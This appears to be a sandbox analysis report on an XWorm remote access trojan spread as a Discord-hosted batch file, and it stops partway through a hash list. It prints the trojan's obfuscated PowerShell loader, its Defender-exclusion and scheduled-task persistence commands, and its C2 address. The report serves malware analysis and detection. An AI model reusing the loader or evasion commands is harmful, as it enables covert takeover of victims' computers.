xworm | hxxps://cdn[.]discordapp[.]com/attachments/1303767638547234836/1304123529780002876/Start[.]bat?ex=672e3f2e&is=672cedae&hm=1a70960a938e07e2ddd8c72ff48adfc54297eacf01b0a8578112be7228913ce2&

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-11-2024 16:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://cdn.discordapp.com/attachments/1303767638547234836/1304123529780002876/Start.bat?ex=672e3f2e&is=672cedae&hm=1a70960a938e07e2ddd8c72ff48adfc54297eacf01b0a8578112be7228913ce2&

Score

10^/10

xworm discovery execution persistence rat trojan

Malware Config

Extracted

Family

xworm

here-thinking.gl.at.ply.gg:50161

Attributes

Install_directory
%LocalAppData%
install_file
WindowsSecurity.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/5196-92-0x000001D4784C0000-0x000001D4784D8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
37	5196	powershell.exe
39	5196	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5196	powershell.exe
5376	powershell.exe
5540	powershell.exe
5696	powershell.exe
5856	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5468	WindowsSecurity.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsSecurity = "C:\\Users\\Admin\\AppData\\Local\\WindowsSecurity.exe"	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 903684.crdownload:SmartScreen	msedge.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2504	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4264	msedge.exe
4264	msedge.exe
760	msedge.exe
760	msedge.exe
1344	identity_helper.exe
1344	identity_helper.exe
4712	msedge.exe
4712	msedge.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5376	powershell.exe
5376	powershell.exe
5376	powershell.exe
5540	powershell.exe
5540	powershell.exe
5540	powershell.exe
5696	powershell.exe
5696	powershell.exe
5696	powershell.exe
5856	powershell.exe
5856	powershell.exe
5856	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5196	powershell.exe
5468	WindowsSecurity.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5196	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	5196	powershell.exe
Token: SeDebugPrivilege	5376	powershell.exe
Token: SeDebugPrivilege	5540	powershell.exe
Token: SeDebugPrivilege	5696	powershell.exe
Token: SeDebugPrivilege	5856	powershell.exe
Token: SeDebugPrivilege	5196	powershell.exe
Token: SeDebugPrivilege	5468	WindowsSecurity.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe
760	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5196	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 760 wrote to memory of 860	760	msedge.exe	83
PID 760 wrote to memory of 860	760	msedge.exe	83
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 1496	760	msedge.exe	84
PID 760 wrote to memory of 4264	760	msedge.exe	85
PID 760 wrote to memory of 4264	760	msedge.exe	85
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86
PID 760 wrote to memory of 3712	760	msedge.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://cdn.discordapp.com/attachments/1303767638547234836/1304123529780002876/Start.bat?ex=672e3f2e&is=672cedae&hm=1a70960a938e07e2ddd8c72ff48adfc54297eacf01b0a8578112be7228913ce2&
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9f2dd46f8,0x7ff9f2dd4708,0x7ff9f2dd4718
  2⤵
  PID:860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
  2⤵
  PID:1496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2760 /prefetch:8
  2⤵
  PID:3712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:2068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
  2⤵
  PID:1756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5236 /prefetch:1
  2⤵
  PID:3472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5308 /prefetch:1
  2⤵
  PID:3136
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5660 /prefetch:8
  2⤵
  PID:872
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5660 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3376 /prefetch:8
  2⤵
  PID:1304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5104 /prefetch:1
  2⤵
  PID:1084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4676 /prefetch:1
  2⤵
  PID:3512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6072 /prefetch:1
  2⤵
  PID:4868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5904 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Start.bat" "
  2⤵
  PID:4980
- - C:\Windows\system32\net.exe
    net file
    3⤵
    PID:4476
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:4176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TufS8ZaurfoThZDbYbtxfcDOjlYN+imc+WoXaAY2vXo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+mXwtv9w/Aq1VJSBIGOwyA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ViBQI=New-Object System.IO.MemoryStream(,$param_var); $PHnzU=New-Object System.IO.MemoryStream; $ghPdm=New-Object System.IO.Compression.GZipStream($ViBQI, [IO.Compression.CompressionMode]::Decompress); $ghPdm.CopyTo($PHnzU); $ghPdm.Dispose(); $ViBQI.Dispose(); $PHnzU.Dispose(); $PHnzU.ToArray();}function execute_function($param_var,$param2_var){ $iekyy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HwyoV=$iekyy.EntryPoint; $HwyoV.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\Downloads\Start.bat';$bwObL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\Downloads\Start.bat').Split([Environment]::NewLine);foreach ($oTJqN in $bwObL) { if ($oTJqN.StartsWith(':: ')) { $ASQjE=$oTJqN.Substring(3); break; }}$payloads_var=[string[]]$ASQjE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\WindowsSecurity.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsSecurity.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5856
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsSecurity" /tr "C:\Users\Admin\AppData\Local\WindowsSecurity.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,11029311602869160117,17643836143079505163,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6328 /prefetch:2
  2⤵
  PID:5652

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3332

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1940

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
PID:5452

C:\Users\Admin\AppData\Local\WindowsSecurity.exe
C:\Users\Admin\AppData\Local\WindowsSecurity.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefaultb8748ee8hcab5h4f12h9da0h5c882d303f77
1⤵
PID:5496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ff9f2dd46f8,0x7ff9f2dd4708,0x7ff9f2dd4718
  2⤵
  PID:5384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,12971729558190926380,12909046111709337929,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
  2⤵
  PID:1188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,12971729558190926380,12909046111709337929,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3
  2⤵
  PID:4420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d7cb450b1315c63b1d5d89d98ba22da5

SHA1
694005cd9e1a4c54e0b83d0598a8a0c089df1556

SHA256
38355fd694faf1223518e40bac1996bdceaf44191214b0a23c4334d5fb07d031

SHA512
df04d4f4b77bae447a940b28aeac345b21b299d8d26e28ecbb3c1c9e9a0e07c551e412d545c7dbb147a92c12bad7ae49ac35af021c34b88e2c6c5f7a0b65f6a8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
37f660dd4b6ddf23bc37f5c823d1c33a

SHA1
1c35538aa307a3e09d15519df6ace99674ae428b

SHA256
4e2510a1d5a50a94fe4ce0f74932ab780758a8cbdc6d176a9ce8ab92309f26f8

SHA512
807b8b8dc9109b6f78fc63655450bf12b9a006ff63e8f29ade8899d45fdf4a6c068c5c46a3efbc4232b9e1e35d6494f00ded5cdb3e235c8a25023bfbd823992d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
186B

MD5
094ab275342c45551894b7940ae9ad0d

SHA1
2e7ce26fe2eb9be641ae929d0c9cc0dfa26c018e

SHA256
ef1739b833a1048ee1bd55dcbac5b1397396faca1ad771f4d6c2fe58899495a3

SHA512
19d0c688dc1121569247111e45de732b2ab86c71aecdde34b157cfd1b25c53473ed3ade49a97f8cb2ddc4711be78fa26c9330887094e031e9a71bb5c29080b0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
e5b4fcfc2e357103bfab93a742731453

SHA1
8ea604ffa1429f95313df698050d135599e5747a

SHA256
a3ca8ea3c701d1e204202def678b346c862e3223442e0d83a23a48ce983488d0

SHA512
